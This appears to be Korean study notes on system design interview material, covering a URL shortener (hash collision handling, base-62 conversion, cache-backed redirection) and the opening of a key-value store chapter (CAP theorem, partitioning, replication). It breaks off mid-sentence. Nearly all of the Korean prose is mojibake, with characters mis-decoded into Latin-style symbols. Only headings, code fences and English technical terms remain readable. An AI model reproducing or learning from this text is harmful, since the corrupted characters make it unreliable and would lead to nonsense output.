- ์ด URL์ `hashValue` ๋ก ๋์์ํฌ ํด์ ํจ์๋ฅผ ์ฐพ๋ ๊ฒ ์ค์ํ๋ค.
- ์ด ํด์ ํจ์์ ์๊ตฌ์ฌํญ์ ๋ค์๊ณผ ๊ฐ๋ค.
- ์
๋ ฅ์ผ๋ก ์ฃผ์ด์ง๋ ๊ธด URL์ด ๋ค๋ฅธ ๊ฐ์ด๋ฉด ํด์ ๊ฐ๋ ๋ฌ๋ผ์ผ ํ๋ค.
- ๊ณ์ฐ๋ ํด์ ๊ฐ์ ์๋ ์
๋ ฅ์ผ๋ก ์ฃผ์ด์ก๋ ๊ธด URL๋ก ๋ณต์๋ ์ ์์ด์ผ ํ๋ค.
## 3๋จ๊ณ ์์ธ ์ค๊ณ
#### ๋ฐ์ดํฐ ๋ชจ๋ธ
์์ ๊ฐ๋ต์ ์ค๊ณ์์๋ ๋ชจ๋ ๊ฒ์ ํด์ํ
์ด๋ธ์ ๋ด์๋ค. ์ด ์ ๊ทผ๋ฒ์ ์ด๊ธฐ์๋ ๊ด์ฐฎ์ง๋ง ์ค์ ์์คํ
์์๋ ์ด๋ ต๋ค. ๋ฉ๋ชจ๋ฆฌ๋ ์ ํํ๊ณ , ๋น์ผ ์์์ด๊ธฐ ๋๋ฌธ์ด๋ค. ๋ ๋์ ๋ฐฉ๋ฒ์ `<๋จ์ถ URL, ์๋ URL>` ์ ์์์์ DB์ ์ ์ฅํ๋ ๊ฒ์ด๋ค. DB์๋ ์ด ์์์์ id, shortUrl, longUrl ์ธ ๊ฐ์ ์นผ๋ผ์ ๊ฐ๋ ํ
์ด๋ธ์ ์ ์ฅํ๋ค. (์ค์ํ ์นผ๋ผ๋ง ์ถ๋ ธ์ ๋)
#### ํด์ ํจ์
์๋ URL์ ๋จ์ถ URL๋ก ๋ณํํ๋๋ฐ ์ฐ์ธ๋ค. ํธ์์ ํด์ ํจ์๊ฐ ๊ณ์ฐํ๋ ๋จ์ถ URL ๊ฐ์ hashValue๋ผ๊ณ ์ง์นญํ๊ฒ ๋ค.
##### ํด์ ๊ฐ ๊ธธ์ด
hashValue๋ [0-9, a-z, A-Z] ์ด 62๊ฐ์ ๋ฌธ์๋ก ๊ตฌ์ฑ๋๋ค. hashValue์ ๊ธธ์ด๋ฅผ ๊ตฌํ๋ ค๋ฉด 62์ N์น >= 3650์ธ N์ ์ต์๊ฐ์ ์ฐพ์์ผ ํ๋ค. ๊ฐ๋ต์ ์ผ๋ก ๊ณ์ฐํ๋ ์ด ์์คํ
์ ์ถ์ ์น์ ๋ฐ๋ฅด๋ฉด 3650์ต๊ฐ์ URL์ ๋ง๋ค์ด๋ผ ์ ์์ด์ผ ํ๋ค. ๋ฐ๋ผ์ N=7๋ก ์ฌ์ฉํ๋ค. ์ด๋ ๊ฒ ํ ๊ฒฝ์ฐ 3.5์กฐ๊ฐ์ URL์ ๋ง๋ค ์ ์๋ค.
##### ํด์ ํ ์ถฉ๋ ํด์
๊ธด URL์ ์ค์ด๋ ค๋ฉด ์๋ URL์ 7๊ธ์๋ก ์ค์ด๋ ํด์ ํจ์๊ฐ ํ์ํ๋ค. ์์ฌ์ด ๋ฐฉ๋ฒ์ CRC32, MD5, SHA-1๊ณผ ๊ฐ์ด ์ ์๋ ค์ง ํด์ ํจ์๋ฅผ ์ด์ฉํ๋ ๊ฒ์ธ๋ฐ, ์ด๋ค ํด์ ํจ์์ ๊ฒฐ๊ณผ๋ก ๋์จ ํด์ ๊ฐ์ ๋ชจ๋ 7๊ธ์๊ฐ ๋๋๋ค. ์ด ๊ฐ์ ์ด๋ป๊ฒ ํ๋ฉด ์ค์ผ ์ ์์๊น?
์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ฒซ๋ฒ์งธ ๋ฐฉ๋ฒ์ ๊ณ์ฐ๋ ๊ฒฐ๊ณผ์์ ์ 7๊ฐ ๊ธ์๋ง ์ด์ฉํ๋ ๊ฒ์ด๋ค. ํ์ง๋ง ์ด๋ ๊ฒ ํ ๊ฒฝ์ฐ ์ถฉ๋๋ ํ๋ฅ ์ด ๋์์ง๋ค. ์ถฉ๋์ด ์ค์ ๋ก ๋ฐ์ํ์ ๋๋, ์ถฉ๋์ด ํด์๋ ๋๊น์ง ์ฌ์ ์ ์ ํ ๋ฌธ์์ด์ ํด์ ๊ฐ์ ๋ง๋ถ์ธ๋ค. ์ด ๋ฐฉ๋ฒ์ ์ถฉ๋์ ํด์ํ ์ ์์ง๋ง ๋จ์ถ URL์ ์์ฑํ์ ๋ ํ ๋ฒ ์ด์ DB๋ฅผ ์ง์ํด์ผ ํ๋ฏ๋ก ์ค๋ฒํค๋๊ฐ ํฌ๋ค.
๋ฐ์ดํฐ๋ฒ ์ด์ค ๋์ ๋ธ๋ฃธ ํํฐ๋ฅผ ์ฌ์ฉํ๋ฉด ์ฑ๋ฅ์ ๋์ผ ์ ์๋ค. ๋ธ๋ฃธํํฐ๋ ์ด๋ค ์งํฉ์ ํน์ ์์๊ฐ ์๋์ง ๊ฒ์ฌํ ์ ์๋๋ก ํ๋ ํ๋ฅ ๋ก ์ ๊ธฐ์ดํ ๊ณต๊ฐ ํจ์จ์ด ์ข์ ๊ธฐ์ ์ด๋ค.
##### base-62 ๋ณํ
- hashValue์ ์ฌ์ฉํ ์ ์๋ ๋ฌธ์ ๊ฐ์๊ฐ 62์ด๊ธฐ ๋๋ฌธ์ 62์ง๋ฒ์ ์ฌ์ฉํ๋ค.
- 62์ง๋ฒ์ ์ด 62๊ฐ์ ๋ฌธ์ [0-9, a-z, A-Z] ๋ฅผ ์ฌ์ฉํ๋ค.
- `www.tinyurl.com/{hashValue}` ์ `hashValue` ๋ถ๋ถ์ 62์ง๋ฒ์ ์ด์ฉํด ๋ณํํ๋ค
##### ํด์ ํ ์ถฉ๋ ํด์ vs base-62 ๋ณํ
| ํด์ ํ ์ถฉ๋ ํด์ | base-62 ๋ณํ |
| ------------------------------------------------------------ | ------------------------------------------------------------ |
| ๋จ์ถ URL์ ๊ธธ์ด๊ฐ ๊ณ ์ ๋จ | ๋จ์ถ URL์ ๊ธธ์ด๊ฐ ๊ฐ๋ณ์ . ID๊ฐ ์ปค์ง๋ฉด ๊ฐ์ด ๊ธธ์ด์ง |
| ์ ์ผ์ฑ์ด ๋ณด์ฅ๋๋ ID ์์ฑ๊ธฐ๊ฐ ํ์์น ์์ | ์ ์ผ์ฑ ๋ณด์ฅ ID ์์ฑ๊ธฐ๊ฐ ํ์ |
| ์ถฉ๋์ด ๊ฐ๋ฅํด์ ํด์ ์ ๋ต ํ์ | ID์ ์ ์ผ์ฑ์ด ๋ณด์ฅ๋ ํ์์ผ ์ ์ฉ ๊ฐ๋ฅํ ์ ๋ต์ด๊ธฐ ๋๋ฌธ์ ์ถฉ๋์ ์์ ๋ถ๊ฐ๋ฅ |
| ID๋ก๋ถํฐ ๋จ์ถ URL์ ๊ณ์ฐํ๋ ๋ฐฉ์์ด ์๋๋ผ ๋ค์์ ์ธ ์ ์๋ URL์ ์์๋ด๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅ | ID๊ฐ 1์ฉ ์ฆ๊ฐํ๋ ๊ฐ์ด๋ผ๊ณ ๊ฐ์ ํ๋ฉด ๋ค์์ ์ธ ์ ์๋ ๋จ์ถ URL์ด ๋ฌด์์ธ์ง ์ฝ๊ฒ ์ ์ ์์ด ๋ณด์์ ๋ฌธ์ ๊ฐ ๋ ์์ง๊ฐ ์์ |
##### URL ๋จ์ถ๊ธฐ ์์ธ ์ค๊ณ
- base-62์ง๋ฒ ๋ณํ์ ์ฌ์ฉํ์ฌ ์ค๊ณํ๋ค.
1. ์
๋ ฅ์ผ๋ก ๊ธด URL์ ๋ฐ๋๋ค.
2. ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ํด๋น URL์ด ์๋์ง ํ์ธํ๋ค.
3. ํด๋น URL์ด ์๋ค๋ฉด ๋จ์ถ URL์ ๊ฐ์ ธ์์ ๋ฐํํ๋ค.
4. ์๋ค๋ฉด ํด๋น URL์ ๋ํ ์ ์ผํ ID๋ฅผ ์์ฑํ๋ค. ์ด ID๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ธฐ๋ณธ ํค๋ก ์ฌ์ฉ๋๋ค.
5. 62์ง๋ฒ ๋ณํ์ ์ ์ฉํด ID๋ฅผ ๋จ์ถ URL๋ก ๋ง๋ ๋ค.
6. ID, ๋จ์ถ URL, ์๋ URL๋ก ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ ์ฝ๋๋ฅผ ๋ง๋ ํ ๋จ์ถ URL์ ํด๋ผ์ด์ธํธ์ ์ ๋ฌํ๋ค.
4๋จ๊ณ์์ ์ฌ์ฉํ๋ ID ์์ฑ๊ธฐ๋ ๋จ์ถ URL์ ๋ง๋ค ๋ ํ์ํ ID๋ฅผ ๋ง๋ค๊ณ , ์ด ID๋ ์ ์ญ์ ์ ์ผ์ฑ์ด ๋ณด์ฅ๋์ด์ผ ํ๋ค. ์ด ๋ฐฉ๋ฒ์ ๋ํด์๋ 6์ฅ์ ๋ค์ ์ดํด๋ณด์
##### URL ๋ฆฌ๋๋ ์
์์ธ ์ค๊ณ
์ฐ๊ธฐ๋ณด๋ค ์ฝ๊ธฐ๋ฅผ ๋ ๋ง์ด ํ๋ ์์คํ
์ด๊ธฐ ๋๋ฌธ์ `<๋จ์ถ URL, ์๋ URL>` ์ ์์ ์บ์์ ์ ์ฅํ์ฌ ์ฝ๊ธฐ ์๋๋ฅผ ๋์๋ค.

๋ก๋๋ฐธ๋ฐ์์ ๋์ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ด ์์ฝํ ์ ์๋ค.
1. ์ฌ์ฉ์๊ฐ ๋จ์ถ URL์ ํด๋ฆญํ๋ค.
2. ๋ก๋๋ฐธ๋ฐ์๊ฐ ํด๋น ํด๋ฆญ์ผ๋ก ๋ฐ์ํ ์์ฒญ์ ์น ์๋ฒ์ ์ ๋ฌํ๋ค.
3. ๋จ์ถ URL์ด ์ด๋ฏธ ์บ์์ ์๋ ๊ฒฝ์ฐ์๋ ์๋ URL์ ๋ฐ๋ก ๊บผ๋ด์ ํด๋ผ์ด์ธํธ์๊ฒ ์ ๋ฌํ๋ค.
4. ์บ์์ ํด๋น ๋จ์ถ URL์ด ์๋ ๊ฒฝ์ฐ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๊บผ๋ธ๋ค. DB์ ์๋ค๋ฉด ์๋ง ์ฌ์ฉ์๊ฐ ์๋ชป๋ ๋จ์ถ URL์ ์
๋ ฅํ ๊ฒฝ์ฐ์ผ ๊ฒ์ด๋ค.
5. ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๊บผ๋ธ URL์ ์บ์์ ๋ฃ์ ํ ์ฌ์ฉ์์๊ฒ ๋ฐํํ๋ค.
## 4๋จ๊ณ ๋ง๋ฌด๋ฆฌ
์๊ฐ์ด ๋จ๋๋ค๋ฉด ๋ฉด์ ๊ด๊ณผ ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ ๋ํด ์ถ๊ฐ๋ก ์ด์ผ๊ธฐ ํด ๋ณผ ์ ์๋ค.
1. ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น(rate limiter): ์ง๊ธ๊น์ง ์ดํด๋ณธ ์์คํ
์ ์์ฒญ๋ ์์ URL ๋จ์ถ ์์ฒญ์ด ๋ค์ด ์ฌ ๊ฒฝ์ฐ ๋ฌด๋ ฅํ ๋ ์ ์๋ค๋ ์ ์ฌ์ ๋ณด์ ๊ฒฐํจ์ ๊ฐ๊ณ ์๋ค. ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น๋ฅผ ํตํด ํํฐ๋ง ๊ท์น์ ์ค์ ํ์ฌ ์์ฒญ์ ๊ฑธ๋ฌ๋ผ ์ ์๋ค.
2. ์น ์๋ฒ์ ๊ท๋ชจ ํ์ฅ: ๋ณธ ์ค๊ณ์ ํฌํจ๋ ์น ๊ณ์ธต์ stateless์ด๋ค. ๋ฐ๋ผ์ ์น ์๋ฒ๋ฅผ ์์ ๋ก์ด ์ฆ์คํ๊ฑฐ๋ ์ญ์ ํ ์ ์๋ค.
3. ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ท๋ชจ ํ์ฅ: ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ค์คํํ๊ฑฐ๋ ์ค๋ฉํ์ฌ ๊ท๋ชจ ํ์ฅ์ฑ์ ๋ฌ์ฑํ ์ ์๋ค.
4. ๋ฐ์ดํฐ ๋ถ์ ์๋ฃจ์
: URL ๋จ์ถ๊ธฐ์ ๋ถ์ ์๋ฃจ์
์ ํตํฉํด ๋๋ฉด ์ด๋ค ๋งํฌ๋ฅผ ์ผ๋ง๋ ๋ง์ ์ฌ์ฉ์๊ฐ ํด๋ฆญํ๋์ง ๋ฑ์ ์ค์ํ ์ ๋ณด๋ฅผ ์์๋ผ ์ ์๋ค.
5. ๊ฐ์ฉ์ฑ, ๋ฐ์ดํฐ ์ผ๊ด์ฑ, ์์ ์ฑ: ๋๊ท๋ชจ ์์คํ
์ด ์ฑ๊ณต์ ์ผ๋ก ์ด์๋๊ธฐ ์ํด ๋ฐ๋์ ๊ฐ์ถ์ด์ผ ํ ์์ฑ๋ค์ด๋ค.
```
chap6.md
```# 6์ฅ ํค-๊ฐ ์ ์ฅ์ ์ค๊ณ
#### ํค-๊ฐ ์ ์ฅ์(key-value store)
ํค-๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ ๋น ๊ด๊ณํ(non relational) ๋ฐ์ดํฐ๋ฒ ์ด์ค์ด๋ค. ์ด ์ ์ฅ์์ ์ ์ฅ๋๋ ๊ฐ์ ๊ณ ์ ์๋ณ์(identifier)๋ฅผ ํค๋ก ๊ฐ์ ธ์ผ ํ๋ค. ํค์ ๊ฐ ์ฌ์ด์ ์ด๋ฐ ์ฐ๊ฒฐ ๊ด๊ณ๋ฅผ "ํค-๊ฐ" ์ (pair)์ด๋ผ๊ณ ์ง์นญํ๋ค.
#### ํค-๊ฐ ์์์์ ํค
์ ์ผํด์ผ ํ๋ฉฐ ํด๋น ํค์ ๋งค๋ฌ๋ฆฐ ๊ฐ์ ํค๋ฅผ ํตํด์๋ง ์ ๊ทผํ ์ ์๋ค.
ํค๋ ์ผ๋ฐ ํ
์คํธ์ผ ์๋ ์๊ณ ํด์ ๊ฐ์ผ ์๋ ์๋ค. ์ฑ๋ฅ์์ ์ด์ ๋ก ํค๋ ์งง์ ์๋ก ์ข๋ค. ์๋๋ ํค์ ์ฌ๋ก์ด๋ค.
```
์ผ๋ฐ ํ
์คํธ ํค: "last_logged_in_at"
ํด์ ํค: 253DDEC4
```
#### ํค-๊ฐ ์์์์ ๊ฐ
์ผ๋ฐ์ ์ผ๋ก ๊ฐ์ผ๋ก ๋ฌด์์ด ์ค๋ ์๊ดํ์ง ์๋๋ค. ๋ฌธ์์ด์ผ ์๋ ์๊ณ ๋ฆฌ์คํธ์ผ ์๋ ์๊ณ ๊ฐ์ฒด์ผ ์๋ ์๋ค.
๋ํ์ ์ธ ํค-๊ฐ ์ ์ฅ์์๋ ์๋ง์กด ๋ค์ด๋๋ชจ, memcached, redis ๋ฑ์ด ์๋ค.
์ด๋ฒ ์ฅ์์๋ ์๋ ์ฐ์ฐ์ ์ง์ํ๋ ํค-๊ฐ ์ ์ฅ์๋ฅผ ์ค๊ณํด ๋ณผ ๊ฒ์ด๋ค.
```
put(key, value): ํค-๊ฐ ์์ ์ ์ฅ์์ ์ ์ฅํ๋ค
get(key): ์ธ์๋ก ์ฃผ์ด์ง ํค์ ๋งค๋ฌ๋ฆฐ ๊ฐ์ ๊บผ๋ธ๋ค.
```
## ๋ฌธ์ ์ดํด ๋ฐ ์ค๊ณ ๋ฒ์ ํ์
- ํค-๊ฐ ์์ ํฌ๊ธฐ๋ 10KB ์ดํ์ด๋ค.
- ํฐ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ ์์ด์ผ ํ๋ค.
- ๋์ ๊ฐ์ฉ์ฑ์ ์ ๊ณตํด์ผ ํ๋ค. ๋ฐ๋ผ์ ์์คํ
์ ์ค์ฌ ์ฅ์ ๊ฐ ์๋๋ผ๋ ๋นจ๋ฆฌ ์๋ตํด์ผ ํ๋ค.
- ๋์ ๊ท๋ชจ ํ์ฅ์ฑ์ ์ ๊ณตํด์ผ ํ๋ค. ๋ฐ๋ผ์ ํธ๋ํฝ ์์ ๋ฐ๋ผ ์๋์ ์ผ๋ก ์๋ฒ ์ฆ์ค/์ญ์ ๊ฐ ์ด๋ฃจ์ด์ ธ์ผ ํ๋ค.
- ๋ฐ์ดํฐ ์ผ๊ด์ฑ ์์ค์ ์กฐ์ ์ด ๊ฐ๋ฅํด์ผ ํ๋ค.
- ์๋ต ์ง์ฐ์๊ฐ(latency)์ด ์งง์์ผ ํ๋ค.
## ๋จ์ผ ์๋ฒ ํค-๊ฐ ์ ์ฅ์
- ํ ๋ ์๋ฒ๋ง ์ฌ์ฉํ๋ ํค-๊ฐ ์ ์ฅ์๋ฅผ ์ค๊ณํ๋ ๊ฒ์ ์ฝ๋ค.
- ๊ฐ์ฅ ์ง๊ด์ ์ธ ๋ฐฉ๋ฒ์ ํค-์ ์ ๋ถ๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ํด์ ํ
์ด๋ธ๋ก ์ ์ฅํ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ ์ด ์ ๊ทผ๋ฒ์ ๋น ๋ฅธ ์๋๋ฅผ ๋ณด์ฅํ๊ธด ํ์ง๋ง ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฉ๋ชจ๋ฆฌ ์์ ๋๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํ ์๋ ์๋ค๋ ์ฝ์ ์ ๊ฐ๊ณ ์๋ค. ์ด๋ฅผ ์ํ ๊ฐ์ ์ฑ
์ผ๋ก๋
- ๋ฐ์ดํฐ ์์ถ
- ์์ฃผ ์ฐ์ด๋ ๋ฐ์ดํฐ๋ง ๋ฉ๋ชจ๋ฆฌ์ ๋๊ณ ๋๋จธ์ง๋ ๋์คํฌ์ ์ ์ฅ
๊ทธ๋ฌ๋ ์ด๋ ๊ฒ ๊ฐ์ ํ๋๋ผ๋ ํ ๋ ์๋ฒ๋ก ๋ถ์กฑํ ์๊ฐ์ด ๊ณง ์ฐพ์์จ๋ค. ๋ฐ๋ผ์ ๋ง์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ ค๋ฉด ๋ถ์ฐ ํค-๊ฐ ์ ์ฅ์ (distributed key-value store)๋ฅผ ๋ง๋ค ํ์๊ฐ ์๋ค.
## ๋ถ์ฐ ํค-๊ฐ ์ ์ฅ์
- AKA ๋ถ์ฐ ํด์ ํ
์ด๋ธ (ํค-๊ฐ ์์ ์ฌ๋ฌ ์๋ฒ์ ๋ถ์ฐ์ํค๊ธฐ ๋๋ฌธ์ด๋ค)
- ๋ถ์ฐ ์์คํ
์ ์ค๊ณํ ๋๋ CAP ์ ๋ฆฌ๋ฅผ ์ดํดํ๊ณ ์์ด์ผ ํ๋ค.
- Consistency (์ผ๊ด์ฑ) : ๋ถ์ฐ ์์คํ
์ ์ ์ํ๋ ๋ชจ๋ ํด๋ผ์ด์ธํธ๋ ์ด๋ค ๋
ธ๋์ ์ ์ํ๋๋์ ๊ด๊ณ์์ด ์ธ์ ๋ ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ๋ณด๊ฒ ๋์ด์ผ ํ๋ค.
- Availability (๊ฐ์ฉ์ฑ): ๋ถ์ฐ ์์คํ
์ ์ ์ํ๋ ํด๋ผ์ด์ธํธ๋ ์ผ๋ถ ๋
ธ๋์ ์ฅ์ ๊ฐ ๋ฐ์ํ๋๋ผ๋ ํญ์ ์๋ต์ ๋ฐ์ ์ ์์ด์ผ ํ๋ค.
- Partition tolerance (ํํฐ์
๊ฐ๋ด): ํํฐ์
(๋ ๋
ธ๋ ์ฌ์ด์ ํต์ ์ฅ์ ) ๊ฐ๋ด๋ ๋คํธ์ํฌ์ ํํฐ์
์ด ์๊ธฐ๋๋ผ๋ ์์คํ
์ ๊ณ์ ๋์ํ์ฌ์ผ ํ๋ค๋ ๊ฒ์ ๋ปํ๋ค.
- ์ด ์ธ ์๊ตฌ์ฌํญ ์ด๋ค ๋๊ฐ์ง๋ฅผ ์ถฉ์กฑํ๋ ค๋ฉด ๋๋จธ์ง ํ๋๋ ๋ฐ๋์ ํฌ์๋๋ค.
- ํค-๊ฐ ์ ์ฅ์๋ ์ ์ธ ์๊ตฌ์ฌํญ ์ค ์ด๋ ๋๊ฐ์ง๋ฅผ ๋ง์กฑํ๋๋์ ๋ฐ๋ผ ๋ค์๊ณผ ๊ฐ์ด ๋ถ๋ฅํ ์ ์๋ค.
- CP ์์คํ
: ์ผ๊ด์ฑ๊ณผ ํํฐ์
๊ฐ๋ด๋ฅผ ์ง์ํ๋ ํค-๊ฐ ์ ์ฅ์. ๊ฐ์ฉ์ฑ์ ํฌ์ํ๋ค.
- AP ์์คํ
: ๊ฐ์ฉ์ฑ๊ณผ ํํฐ์
๊ฐ๋ด๋ฅผ ์ง์ํ๋ ํค-๊ฐ ์ ์ฅ์. ๋ฐ์ดํฐ ์ผ๊ด์ฑ์ ํฌ์ํ๋ค.
- CA ์์คํ
: ์ผ๊ด์ฑ๊ณผ ๊ฐ์ฉ์ฑ์ ์ง์ํ๋ ํค-๊ฐ ์ ์ฅ์, ํํฐ์
๊ฐ๋ด๋ ์ง์ํ์ง ์๋๋ค. ๊ทธ๋ฌ๋ ์ผ๋ฐ์ ์ผ๋ก ๋คํธ์ํฌ ์ฅ์ ๋ ํผํ ์ ์๋ ๊ฒ์ผ๋ก ์ฌ๊ฒจ์ง๋ฏ๋ก ๋ถ์ฐ ์์คํ
์ ๋ฐ๋์ ํํฐ์
๋ฌธ์ ๋ฅผ ๊ฐ๋ดํ ์ ์์ด์ผ ํ๋ค. ๋ฐ๋ผ์ ์ค์ธ๊ณ์์ CA ์์คํ
์ ์กด์ฌํ์ง ์๋๋ค.
### ์ด์์ ์ํ
๋คํธ์ํฌ ํํฐ์
๋๋ ์ํฉ์ด ์ผ์ด๋์ง ์์ ๊ฒ์ด๋ค. n1์ ๊ธฐ๋ก๋ ๋ฐ์ดํฐ๋ n2์ n3์ ์๋์ผ๋ก ๋ณต์ ๋๋ค. ๋ฐ์ดํฐ ์ผ๊ด์ฑ๊ณผ ๊ฐ์ฉ์ฑ๋ ๋ง์กฑ๋๋ค.

### ์ค์ธ๊ณ์ ๋ถ์ฐ ์์คํ
๋ถ์ฐ ์์คํ
์ ํํฐ์
์ ํผํ ์ ์๊ณ , ํํฐ์
์ด ๋ฐ์ํ๋ฉด ์ผ๊ด์ฑ๊ณผ ๊ฐ์ฉ์ฑ ์ค ๋ ์ค ํ๋๋ฅผ ์ ํํด์ผ ํ๋ค.
ํด๋ผ์ด์ธํธ๊ฐ n1 or n2์ ๊ธฐ๋กํ ๋ฐ์ดํฐ๋ n3์ ์ ๋ฌ๋์ง ์๋๋ค. ๋ํ n3์ ๊ธฐ๋ก๋์ผ๋ ์์ง n1 ํน์ n2๋ก ์ ๋ฌ๋์ง ์์ ๋ฐ์ดํฐ๊ฐ ์๋ค๋ฉด n1๊ณผ n2๋ ์ค๋๋ ์ฌ๋ณธ์ ๊ฐ๊ณ ์์ ๊ฒ์ด๋ค.

์ผ๊ด์ฑ์ ํํ๋ค๋ฉด
- ์ธ ์๋ฒ ์ฌ์ด์ ๋ฐ์ดํฐ ๋ถ์ผ์น๋ฅผ ๋ง๊ธฐ ์ํด ์ฐ๊ธฐ ์ฐ๋จ์ ์ค๋จ์์ผ์ผ ํ๋๋ฐ, ์ด๋ ๊ฒ ํ ๊ฒฝ์ฐ ๊ฐ์ฉ์ฑ์ด ๊นจ์ง๋ค.
- ์ํ๊ถ ์์คํ
์์๋ ๋๊ฒ ์ผ๊ด์ฑ์ ํํ๋ค.
- ์ด๋ฐ ์์คํ
์์๋ ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋ ๋ ๊น์ง ์๋ฌ๋ฅผ ๋ฐํํด์ผ ํ๋ค.
๊ฐ์ฉ์ฑ์ ํํ๋ค๋ฉด
- ์ค๋๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐํํ๋๋ผ๋ ๊ณ์ ์ฝ๊ธฐ ์ฐ์ฐ์ ํ์ฉํด์ผ ํ๋ค. n1๊ณผ n2๋ ๊ณ์ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ ๊ฒ์ด๊ณ , ํํฐ์
๋ฌธ์ ๊ฐ ํด๊ฒฐ๋ ํ์ ์ ๋ฐ์ดํฐ๋ฅผ n3์ ์ ์กํ ๊ฒ์ด๋ค.
๋ถ์ฐ ํค-๊ฐ ์ ์ฅ์๋ฅผ ๋ง๋ค ๋๋ ๊ทธ ์๊ตฌ์ฌํญ์ ๋ง์ถฐ CAP ์ ๋ฆฌ๋ฅผ ์ ์ฉํด์ผ ํ๋ค. ์ด ๋ฌธ์ ์ ๋ํด ๋ฉด์ ๊ด๊ณผ ์์ํ๊ณ , ๊ทธ ๊ฒฐ๋ก ์ ๋ฐ๋ผ ์์คํ
์ ์ค๊ณํ๋๋ก ํ์.
### ์์คํ
์ปดํฌ๋ํธ
ํค-๊ฐ ์ ์ฅ์ ๊ตฌํ์ ์ฌ์ฉ๋ ํต์ฌ ์ปดํฌ๋ํธ๋ค ๋ฐ ๊ธฐ์ ๋ค์ ์ดํด๋ณผ ๊ฒ์ด๋ค.
- ๋ฐ์ดํฐ ํํฐ์
- ๋ฐ์ดํฐ ๋ค์คํ (replication)
- ์ผ๊ด์ฑ (consistency)
- ์ผ๊ด์ฑ ๋ถ์ผ์น ํด์ (inconsistency resolution)
- ์ฅ์ ์ฒ๋ฆฌ
- ์์คํ
์ํคํ
์ฒ ๋ค์ด์ด๊ทธ๋จ
- ์ฐ๊ธฐ ๊ฒฝ๋ก (write path)
- ์ฝ๊ธฐ ๊ฒฝ๋ก (read path)
#### ๋ฐ์ดํฐ ํํฐ์
๋๊ท๋ชจ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ฒฝ์ฐ ์ ์ฒด ๋ฐ์ดํฐ๋ฅผ ํ ๋ ์๋ฒ์ ๋ฃ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ค. ๊ฐ์ฅ ๋จ์ํ ํด๊ฒฐ์ฑ
์ ๋ฐ์ดํฐ๋ฅผ ์์ ํํฐ์
์ผ๋ก ๋ถํ ํ ๋ค์ ์ฌ๋ฌ๋ ์๋ฒ์ ์ ์ฅํ๋ ๊ฒ์ด๋ค. ๋ฐ์ดํฐ๋ฅผ ํํฐ์
์ผ๋ก ๋๋ ๋๋ ๋ค์ ๋ฌธ์ ๋ฅผ ์ค์ํ๊ฒ ๋ฐ์ ธ๋ด์ผ ํ๋ค.
- ๋ฐ์ดํฐ๋ฅผ ์ฌ๋ฌ ์๋ฒ์ ๊ณ ๋ฅด๊ฒ ๋ถ์ฐํ ์ ์๋๊ฐ
- ๋
ธ๋๊ฐ ์ถ๊ฐ๋๊ฑฐ๋ ์ญ์ ๋ ๋ ๋ฐ์ดํฐ์ ์ด๋์ ์ต์ํํ ์ ์๋๊ฐ
5์ฅ์์ ์ดํด๋ณธ consistent hash๋ ์ด๋ฐ ๋ฌธ์ ๋ฅผ ํธ๋๋ฐ ์ ํฉํ ๊ธฐ์ ์ด๋ค. consistent hash๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ํํฐ์
ํ๋ฉด ์ข์ ์ ์ ๋ค์๊ณผ ๊ฐ๋ค.
- ๊ท๋ชจ ํ์ฅ ์๋ํ: ์์คํ
๋ถํ์ ๋ฐ๋ผ ์๋ฒ๊ฐ ์๋์ ์ผ๋ก
- ๋ค์์ฑ(heterogeneity): ๊ฐ ์๋ฒ ์ฉ๋์ ๋ง๊ฒ ๊ฐ์ ๋
ธ๋์ ์๋ฅผ ์กฐ์ ํ ์ ์๋ค. ๋ค์ ๋งํด, ๊ณ ์ฑ๋ฅ ์๋ฒ๋ ๋ ๋ง์ ๊ฐ์ ๋
ธ๋๋ฅผ ๊ฐ๋๋ก ์ค์ ํ ์ ์๋ค.
#### ๋ฐ์ดํฐ ๋ค์คํ
๋์ ๊ฐ์ฉ์ฑ๊ณผ ์์ ํ๋ณด๋ฅผ ์ํด ๋ฐ์ดํฐ๋ฅผ N๊ฐ์ ์๋ฒ์ ๋น๋๊ธฐ์ ์ผ๋ก ๋ค์คํ(replication) ํ ํ์๊ฐ ์๋ค. N๊ฐ์ ์๋ฒ๋ฅผ ์ ์ ํ๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค.
- ์ด๋ค ํค๋ฅผ ํด์ ๋ง ์์ ๋ฐฐ์นํ ํ, ๊ทธ ์ง์ ์ผ๋ก๋ถํฐ ์๊ณ ๋ฐฉํฅ์ผ๋ก ๋ง์ ์ํํ๋ฉฐ ๋ง๋๋ ์ฒซ N๊ฐ์ ์๋ฒ์ ๋ฐ์ดํฐ ์ฌ๋ณธ์ ๋ณด๊ดํ๋ค.
- ๊ทธ๋ฐ๋ฐ ๊ฐ์ ๋
ธ๋๋ฅผ ์ฌ์ฉํ๋ค๋ณด๋ฉด ์ ํํ N๊ฐ์ ๋
